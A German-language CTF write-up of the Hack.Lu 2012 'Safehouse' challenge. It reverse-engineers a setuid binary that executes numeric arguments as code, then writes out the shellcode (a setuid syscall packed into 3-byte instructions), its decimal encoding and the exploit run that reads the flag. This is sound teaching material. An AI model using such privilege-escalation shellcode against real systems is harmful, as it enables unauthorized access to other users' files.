Hack.Lu CTF 2012 – Safehouse

Hack.Lu CTF 2012 - Safehouse - task description

Neben dieser Aufgabenstellung werden uns die SSH-Zugangsdaten zu einem Server genannt, zu dem wir uns auch direkt verbinden um das Ziel dieser Challenge (Safehouse) besser fassen zu können.

Nach Login und Ausführung eines Dateilistings erhalten wir folgende Ausgabe:

Hack.Lu CTF 2012 - Safehouse - setuid file view

Zunächst einmal erkennen wir den coolen ASCII-Art-Zombie, der uns freundlich begrüßt ;-). Darüber hinaus ist eine Binärdatei “safehouse” im Verzeichnis hinterlegt sowie eine Datei namens “FLAG”. Ziel wird es also sein, den Inhalt der Datei “FLAG” auszulesen um an das Lösungswort der Challenge zu gelangen.

Da wir selbst jedoch der Benutzer “ctf” sind, können wir die Datei “FLAG”, die nur für den Benutzer “safehouse” lesbar ist, nicht ohne weiteres betrachten. Die Binärdatei “safehouse” jedoch gehört dem Benutzer “safehouse” und ist mit dem SUID-Bit versehen, dass heißt, sie wird bei Ausführung mit den Rechten dieses Benutzers gestartet.

Damit ist der Weg zum Ziel erkennbar: Wir werden die Binärdatei “safehouse” zum Beispiel durch einen Exploit derart ausnutzen müssen, dass wir eine Shell erhalten (oder zumindest das Tool “cat” benutzen) um dadurch die Datei “FLAG” ausgeben zu können.

Wir sehen uns also zunächst erstmal mit dem Tool “objdump” an, was die Binärdatei “safehouse” genau tut. Hier die Auszüge des gesamten Listings:

4008b5:  83 7d 8c 01      cmp    DWORD PTR [rbp-0x74],0x1
4008b9:  7f 0a            jg     4008c5 <main+0x28>
4008bb:  b8 00 00 00 00   mov    eax,0x0
4008c0:  e9 43 01 00 00   jmp    400a08 <end+0x2b>

Zu Beginn überprüft das Programm, ob wir einen oder mehrere Übergabeparameter angegeben haben (Zeile 1). Wenn das der Fall ist, wird die Bearbeitung fortgesetzt (Zeile 2), sonst das Programm mit dem Fehlercode 0 (Zeile 3) beendet (Zeile 4).

Wir müssen daher darauf achten, bei der späteren Ausführung mindesten einen Übergabeparameter anzugeben.

4008c5:  e8 e6 fd ff ff   call   4006b0 <getuid@plt>
4008ca:  89 c7            mov    edi,eax
4008cc:  e8 9f fe ff ff   call   400770 <seteuid@plt>
4008d1:  e8 1a fe ff ff   call   4006f0 <getgid@plt>
4008d6:  89 c7            mov    edi,eax
4008d8:  e8 83 fe ff ff   call   400760 <setegid@plt>

Anschließend prüft das Programm mit welcher Benutzer-ID (hier: 1000 – ctf) das Programm gestartet wurde (Zeile 1) und weist das System an, die effektive Benutzer-ID auf diesen Wert zu ändern (Zeilen 2-3). Das selbe geschieht mit der Gruppen-ID. Im Detail bedeutet dies, dass obwohl das Programm mit dem SUID-Bit gestartet wurde, und somit eigentlich die Rechte von “safehouse” besitzt, die effektive UID wieder zu “ctf” geändert wurde.

Das heißt, selbst wenn wir später das Programm ausführen und eine Möglichkeit finden, die Datei “FLAG” auszugeben, wird uns das nicht ohne weiteres gelingen, da wir immernoch bzw. wieder als der Benutzer “ctf” arbeiten. Diese UID lässt sich allerdings mit Aufruf der “setuid()”-Funktion auch wieder ändern. Bevor wir also später eine Shell oder das Tool “cat” starten, müssen wir die UID wieder zu “safehouse” ändern.

400983:  e8 a8 fd ff ff   call   400730 <strtoul@plt>

Im weiteren Programmablauf wird die Funktion “strtoul()” (String-zu-unsigned-long) aufgerufen, die eine Zeichenkette in einen Integer-Datentyp konvertiert. Hier liegt die Vermutung nahe, dass unser Übergabeparameter als Interger interpretiert oder umgewandelt werden soll.

00000000004009cb <again>:
  4009cb:  8b 7d d8      mov    edi,DWORD PTR [rbp-0x28]
  4009ce:  67 83 3f 00   cmp    DWORD PTR [edi],0x0
  4009d2:  74 09         je     4009dd <end>
  4009d4:  ff 55 d8      call   QWORD PTR [rbp-0x28]
  4009d7:  83 45 d8 04   add    DWORD PTR [rbp-0x28],0x4
  4009db:  eb ee         jmp    4009cb <again>

Anschließend wird geprüft, ob der Zeiger in $RBP-0x28 auf einen Speicherbereich zeigt, der Null ist (Zeile 3) und im Fall, dass er ungleich Null ist, dieser Speicherbereich direkt angesprungen wird (Zeile 5). Danach wird der Zeiger um vier Bytes erhöht und der Speicherbereich erneut angesprungen (Zeilen 6-7).

Ein direkter Call in einen Speicherbereich, wie in Zeile 5, ist sehr ungewöhnlich und wohl vom Ersteller der Challenge absichtlich so vorgesehen. Dieser Block scheint also der entscheidende Abschnitt zu sein, der uns die Ausführung unserer eigenen Instruktionen ermöglichen könnte. Wie wir jedoch eigene Opcodes in diesen Bereich bekommen, wird sich noch zeigen müssen.

4009dd:  48 c7 45 c0 17 0b 40   mov    QWORD PTR [rbp-0x40],0x400b17
4009e5:  48 c7 45 c8 00 00 00   mov    QWORD PTR [rbp-0x38],0x0
4009ed:  48 8d 45 c0            lea    rax,[rbp-0x40]
4009f1:  ba 00 00 00 00         mov    edx,0x0
4009f6:  48 89 c6               mov    rsi,rax
4009f9:  bf 17 0b 40 00         mov    edi,0x400b17
4009fe:  e8 cd fc ff ff         call   4006d0 <execve@plt>

Zuletzt ruft das Programm selbst sogar nocht “execve()” mit einem Parameter bei Adresse 0x400b17 auf (Zeile 7). Eine Überprüfung mit dem GDB, welches Datum sich an dieser Speicheradresse befindet, ergibt:

(gdb) x/s 0x400b17
0x400b17:        "/bin/sh"

Das Binary führt also bereits von ganz allein die Shell “/bin/sh” aus, so dass wir uns gar nicht mehr darum kümmern müssen.

Zusammenfassend vermuten wir an dieser Stelle, dass das Programm seine Privilegien von “safehouse” auf “ctf” ändert, mindestens einen Übergabeparameter annimmt, diesen auf irgendeine Art (vielleicht unter Zuhilfenahme der Funktion “strtoul()” bearbeitet, direkt Speicherbereiche anspringt und abschließend eine Shell öffnet.

Es wird Zeit dieses Verhalten live am Programm mit dem GDB zu testen. Wir setzen zunächst einen Breakpoint auf die Stelle, an der der Call in den Speicherbereich erfolgt (0x004009d4) und Starten das Programm mit einem Übergabeparameter, hier “12345”:

(gdb) b *0x004009d4
Breakpoint 1 at 0x4009d4
(gdb) r 12345
Starting program: /home/ctf/safehouse 12345
Breakpoint 1, 0x00000000004009d4 in main ()

(gdb) x/i $rip
=> 0x4009d4 <main+311>: call   QWORD PTR [rbp-0x28]

(gdb) x/8x $rbp-0x28
0x7fffea84e8c8: 0x01cd0000      0x00000000      0x01cd0004      0x00000000
0x7fffea84e8d8: 0x00400780      0x00000001      0xea84e9d0      0x00007fff

(gdb) x/8x 0x01cd0000
0x1cd0000:      0xc3003039      0x00000000      0x00000000      0x00000000
0x1cd0010:      0x00000000      0x00000000      0x00000000      0x00000000

(gdb) p/x 12345
$2 = 0x3039

Nachdem das Programm stoppt, sehen wir uns an, welcher Speicherbereich an dieser Stelle angesprungen werden soll (die Adresse, die in $RBP-0x28 hinterlegt ist). An dieser Adresse befinden sich die Opcodes 0xc3003039. Zuletzt überprüfen wir noch, was unser Übergabeparameter “12345” nach einem strtoul()-Aufruf ergeben würde, nämlich 0x3039.

Das kann kein Zufall sein und deutet darauf hin, dass tatsächlich die von uns übergebene Zahl als Opcode vom Programm angesprungen wird. Doch was bedeutet das “0xc3”, welches ebenfalls an dieser Speicherstelle hinterlegt ist? Um das heraus zu finden, führen wir einen weiteren Test durch. Diesmal übergeben wir – zur besseren Übersichtlichkeit – die Zahl 0x41414141 und das gleich mehrfach um die Auswirkungen bei mehreren Parametern zu beobachten.

(gdb) p/d 0x41414141
$3 = 1094795585
(gdb) r 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585
Starting program: /home/ctf/safehouse 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585
Breakpoint 1, 0x00000000004009d4 in main ()

(gdb) x/8x $rbp-0x28
0x7fff6c132e28: 0x00799000      0x00000000      0x00799014      0x00000000
0x7fff6c132e38: 0x00400780      0x00000005      0x6c132f30      0x00007fff

(gdb) x/8x 0x00799000
0x799000:       0xc3414141      0xc3414141      0xc3414141      0xc3414141
0x799010:       0xc3414141      0x00000000      0x00000000      0x00000000

(gdb) c
Continuing.
process 9630 is executing new program: /bin/dash
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

$ id safehouse
uid=1006(safehouse) gid=1006 groups=1006

Wir erkennen, dass bis zu fünf Parameter vom Programm verarbeitet werden. Alle Weiteren scheinen verworfen zu werden. Problematisch ist allerdings, dass bei der Umwandlung der übergebenen Zahlen ein 0xc3 an jedes vierte Byte gesetzt wird (die Darstellung unterscheidet sich hier wegen little Endian Notation).

In der Funktion “again” (siehe oben) haben wir auch erkannt, dass mehrfach in Speicherbereiche gesprungen wird – nämlich in jeden unserer Übergabeparameter (die Dezimalzahlen) ein Mal. Das 0xc3 entspricht dabei dem Opcode “RET” (Return) und lässt den Programmablauf so zum aufrufenden “CALL” zurück kehren.

Wir sehen auch, dass beim Fortsetzen der Programmabarbeitung direkt eine Shell geöffnet wird, in der wir uns jedoch – wie bereits erkannt – nur als herkömmlicher “ctf”-Benutzer und nicht als “safehouse” mit der UID 1006, bewegen.

Was wir nun schaffen müssen ist, den Sprung in unsere “Zahlen” (Opcodes) so auszunutzen, dass vor Ausführung dieser Shell noch ein setuid() auf die UID 1006 ausgeführt wird. Dazu müssen wir einen Opcode entwickeln, der pro Instruktion nicht länger als 3 Bytes ist (denn das vierte Byte wird immer “0xc3”) und der maximal in fünf Übergabeparameter also 5×3 (15) Bytes passt.

Die Nummer für den Systemaufruf von setuid() entnehmen wir der Datei “/usr/include/asm/unistd_32.h”:

#define __NR_setuid              23

Anschließend entwickeln wir zunächst einen Opcode, der (noch) keine “0xc3” beinhaltet, dessen Instruktionen aber nicht länger als 3 Bytes sind:

mov al,0x17 ; (2 Bytes) Nummer des Syscalls in RAX (23 == 0x17)
mov bl,0xee ; (2 Bytes) UID in RBX, 1006 == 0x03ee (low byte)
mov bh,0x03 ; (2 Bytes) UID in RBX, 1006 == 0x03ee (high byte)
int 0x80    ; (2 Bytes) Syscall: setuid(1006)

Da das Programm jedes vierte Byte durch 0xc3 ersetzt, müssen wir das jetzt auch noch in unserem Opcode berücksichten, weshalb wir nun die Instruktionen so auffüllen, dass sich an jedem vierten Byte ein 0x3c (RET) befindet. Zum Auffüllen verwenden wir die 1-Byte-Instruktion “NOP” (No Operation), die später vom Prozessor einfach übergangen wird.

mov al,0x17 ; (2 Bytes) Nummer des Syscalls in RAX (23 == 0x17)
nop         ; (1 Byte)  Füllbyte (No Operation)
ret         ; (1 Byte)  Return (wird vom Programm ersetzt)

mov bl,0xee ; (2 Bytes) UID in RBX, 1006 == 0x03ee (low byte)
nop         ; (1 Byte)  Füllbyte (No Operation)
ret         ; (1 Byte)  Return (wird vom Programm ersetzt)

mov bh,0x03 ; (2 Bytes) UID in RBX, 1006 == 0x03ee (high byte)
nop         ; (1 Byte)  Füllbyte (No Operation)
ret         ; (1 Byte)  Return (wird vom Programm ersetzt)

int 0x80    ; (2 Bytes) Syscall: setuid(1006)
nop         ; (1 Byte)  Füllbyte (No Operation)
ret         ; (1 Byte)  Return (wird vom Programm ersetzt)

Wenn wir diesen Opcode nun an das Programm übergeben, sollte erst jedes vierte Byte mit 0xc3 (RET) ersetzt werden, was unproblematisch ist, dass es bereits 0xc3 ist. Danach wird jeder Block einmal per CALL angesprungen und ausgeführt. Das sollte ein “setuid(1006)”-Systemaufruf ergeben, der uns die Rechte von “safehouse” zurück bringt, bevor nach dem letzten RET vom Programm die Shell ausgeführt wird.

Da wir den Opcode in Form von Dezimalzahlen übergeben müssen, wandeln wir jeden 4-Byte-Block nun in jeweils eine Zahl um. Dazu kompilieren wir das Programm zunächst mit “nasm” und lassen uns den Opcode mit “xxd” ausgeben:

rup0rt@lambda:~$ nasm safehouse.asm 
rup0rt@lambda:~$ xxd safehouse
0000000: b017 90c3 b3ee 90c3 b703 90c3 cd80 90c3  ................

Nun wandeln die Opcodes in jeweils 4-Byte-Blöcken (little Endian Schreibweise) mit Hilfe von GDB in Dezimalzahlen um:

(gdb) p/d 0xc39017b0
$1 = 3281000368
(gdb) p/d 0xc390eeb3
$2 = 3281055411
(gdb) p/d 0xc39003b7
$3 = 3280995255
(gdb) p/d 0xc39080cd
$4 = 3281027277

Mit diesen Zahlen starten wir nun das Programm “safehouse”:

ctf@safehouse:~$ ./safehouse 3281000368 3281055411 3280995255 3281027277
$ id
uid=1000(ctf) gid=1000(ctf) euid=1006(safehouse) groups=1006,1000(ctf)
$ cat FLAG
FUNNY_C3_LOOP_MAKES_ZOMBIES_BUTTHURT

Unser Vorgehen war erfolgreich! Wir konnten die Berechtigungen des Benutzers “safehouse” mittels “setuid(1006)” zurück erlangen und die Datei “FLAG” auslesen.

Die Lösung lautet “FUNNY_C3_LOOP_MAKES_ZOMBIES_BUTTHURT“.

Leave a Reply

Your email address will not be published.